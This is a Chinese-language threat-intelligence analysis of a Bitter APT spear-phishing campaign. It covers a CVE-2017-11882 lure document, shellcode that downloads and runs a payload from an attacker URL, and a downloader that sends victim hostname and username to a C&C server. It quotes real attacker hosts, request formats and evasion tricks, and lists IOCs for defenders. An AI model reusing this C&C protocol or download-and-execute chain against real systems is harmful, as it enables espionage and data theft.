概述

  Bitter也叫T-APT-17、蔓灵花。组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织,该APT组织为目前活跃的针对境内目标进行攻击的境外APT组织之一。该组织主要针对政府、军工业、电力、核等单位进行攻击,窃取敏感资料,具有强烈的政治背景。
  Bitter的主要动机为进行间谍活动,拥有对多个操作系统进行攻击的能力,他们的武器库主要包含BitterRAT、Artra Downloader、SlideRAT和AndroRAT。
  此次活动的主要目标为孟加拉快速行动营,快速行动营是孟加拉国警察的精英反犯罪和反恐单位。攻击者使用与受害者组织的常规运营任务有关的主题作为诱饵和发送包含该诱饵的鱼叉式网络钓鱼邮件给孟加拉国警察快速行动营高级官员。
  诱饵文件为使用已知漏洞CVE-2017-11882武器化的office文档,一旦受害者打开文档,公式编辑器就会触发嵌入在文档的shellcode,然后从远程服务器下载恶意程序并在受害者机器上执行。

样本详情

文件名 md5
Addl SP Hafizur Rahman.doc bdbbd70229591fb1102365f4bb22196b
文件名 Md5
ntfsc.exe、fwbase.exe 59b043a913014a1f03258c695b9333af

流程图

3. 详细分析

2.1 RTF文件分析

  RTF文档被利用堆栈溢出漏洞CVE-2017-11882进行武器化,该漏洞可以在运行易受攻击的Office版本的受害者计算机执行任意代码。

  当受害者使用程序word.exe打开RTF文件时,它会调用公式编辑器并执行shellcode,shellcode功能主要是创建目录”C:\$Utf”并从远程地址下载恶意程序并执行。

Shellcode分析

  通过遍历结构_LDR_DATA_TABLE_ENTRY来获取加载的模块信息,比较模块名来获取模块”kernel32”的信息,然后遍历该模块的导出表获取函数”GetProcessAddr”的地址并将其保存到寄存器edi。

  Shellcode使用ROP来控制执行流。函数调用所需要的字符串参数位于指令前,通过堆栈指针ESP来引用。通过指令”call edi”来获取”CreateDirectoryA”的函数地址然后通过指令”call eax”来执行该函数,后续操做都是如此。

  硬编码的字符串参数头部几个字符被用随机值填充,然后在shellcode执行过程中通过一系列计算将头部字节恢复原样。
  如下图指令主要就是获取函数”URLDownloadToFileA”的地址,然后调用该函数从地址”http://
olmajhnservice.com/nxl/nx”下载恶意程序并保存到文件”C:\$Utf/fw”。

  从远程服务器下载的文件保存到本地时没有给定后缀exe,不能本地执行,因此将文件”fw”重命名为”fwbase.exe”。

  Shellcode按照前面的方法获取函数”ShellExecuteA”的地址,调用程序”explorer”来执行恶意程序”fwbase.exe”,然后退出当前执行shellcode的程序公式编辑器。
  退出程序并没有通过指令”call edi”来获取地址,而是直接调用地址0x4667d0处的函数,该地址正好为执行公式编辑器的exitProcess函数。

fwbase.exe分析

  该文件使用VC++编译的32位PE文件,时间戳为2021年9月,并且伪装成windows的更新程序,主要功能为为下载并执行远程文件。

  攻击者使用常见的编码技术对程序中使用的字符串进行混淆处理,用于对静态分析工具隐藏其行为。

  字符串解密函数decrypt_str接收两个参数,参数1为加密字符串,参数2为用于异或解密的key。

恶意程序中使用的所有加密字符串和解密后的字符串如下表:

加密字符串 解密后字符串
FDWUGQ update.exe
FDWUGQ@ Updates
q\thbA[UAU_wUFRheZZV\\CAo C:\\ProgramData\\Windows
KZW\x1CPMRSA\x06UCQv\a\xIDD]C\vAK@ xnb/dxagt5avbB2.php?txt=
aKv2GG datal.php?id=
KIX$3HJJvx7<9: F}y××w3 GET /dFFrt3856ByutTs/
[Q-DWQ@- helpdesk.autodefragapp.com

  恶意程序通过使用函数CreateToolhelp32Snapshot创建正在运行进程的快照并使用函数Process32First和Process32Next遍历每个进程,从而在受害者的计算机中搜索进程”AVP.exe”,该进程归属于安全软件卡巴斯基。
  从下图反编译代码可以不难看出,如果不存在进程”avp”时恶意程序可能会将自身拷贝到%STARTUP%/ZAPGV实现持久化,不过在该恶意程序中并没有实现持久化功能,应该是还处于开发中。

  ![](46371724ebff6a6935f8b5e941fe5ebf.png) 

  将自身拷贝到”%LocalAppData%\Updates\ntfsc.exe”,但是恶意程序会判断自身路径中是否包含”ntfsc.exe”,包含才会与C&C进行通信,根据代码上下文判断恶意程序开发者可能是想复制文件后然后执行和退出当前程序,这样的话路径包含关键词”ntfsc.exe”能够与C&C进行通信,

 ![](a9ac2c08a6138890020b45471a3613a2.png) 

  恶意程序通过socket发送模拟HTTP请求来与C&C进行通信。

1
2
3
4
GET /dFFrt3856ByutTs/{type}/{send_GetRequest_data}
HTTP/1.1
Host:helpdesk.autodefragapp.com
Connection: close

  具体实现如下图:

使用的type如下表

Type 描述
xnb 收集受害者信息或者上传恶意程序执行结果
Dxd2869Vbx 请求下载文件

  第一次与C&C进行连接时,首先收集受害者的的主机名、操作系统产品名称和受害者的用户名,以如下格式发送GET请求到C&C服务器。

1
2
/dFFrt3856ByutTs/xnb/data1.php?id={computeName}&&user={userName}ZxxZ{
ProductName}

具体代码如下:

  C&C服务器接收到受害者发送的类型为xnb的数据时以如下格式返回响应数据,文件名为C&C即将投递到受害者的文件。

1
{电脑名}{用户名}:”{文件名}”		

  攻击者不会对所有的受害者下发恶意程序。而是通过判断受害者电脑名来定向选择目标,只有当C&C返回的数据中包含受害者电脑名时才会执行下一步操作。

  发送如下请求从C&C下载文件。

1
/dFFrt3856ByutTs/Dxd2869Vbx/{文件名}

  C&C接收到下载请求后返回需要下载的恶意程序数据,攻击者通过关键词’ZxxZ’来判断响应数据有效的起始位置,进而读取需要下载的数据。

1
{垃圾数据}ZxxZ{pe文件去掉pe头部magic字符MZ}

  创建文件 /Debug/%cmptnameuname%.exe 并向此文件头部写入M,然后写入剩余数据。PE文件头部magic字符被分割构成不合法文件避免被某些安全检测工具检测。

  文件下载成功后调用函数ShellExecuteA执行程序,使用操作码 DN-S 发送回请求。在执行程序后遍历正在运行的程序判断下载的文件是否成功执行,其中S为执行成功,RN_e为执行失败,DN-S为下载文件成功。以如下格式将恶意程序执行的结果上传到C&C服务器。

1
xnb/dxagt5avbB2.php?txt={执行结果}

4. IOC

bdbbd70229591fb1102365f4bb22196b
59b043a913014a1f03258c695b9333af
hxxp://olmajhnservice.com/nxl/nx
hxxp://helpdesk.autodefragapp.com

5. ATT&CK矩阵

Tactic ID Name Description
T1566.001 Spearphishing Attachment 使用鱼叉式网络钓鱼电子邮件附件
command-and-control T1071.001 Web Protocols 与C&C通信使用http协议
discovery T1057 Process Discovery 查找安全软件进程”avp.exe”
T1033 System Owner/User Discovery 获取用户名

6. 参考

https://www.anquanke.com/post/id/259453
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html
https://mp.weixin.qq.com/s/NLe4JqmjiB58IQ5Kn6DSLQ

2024-04-29

⬆︎TOP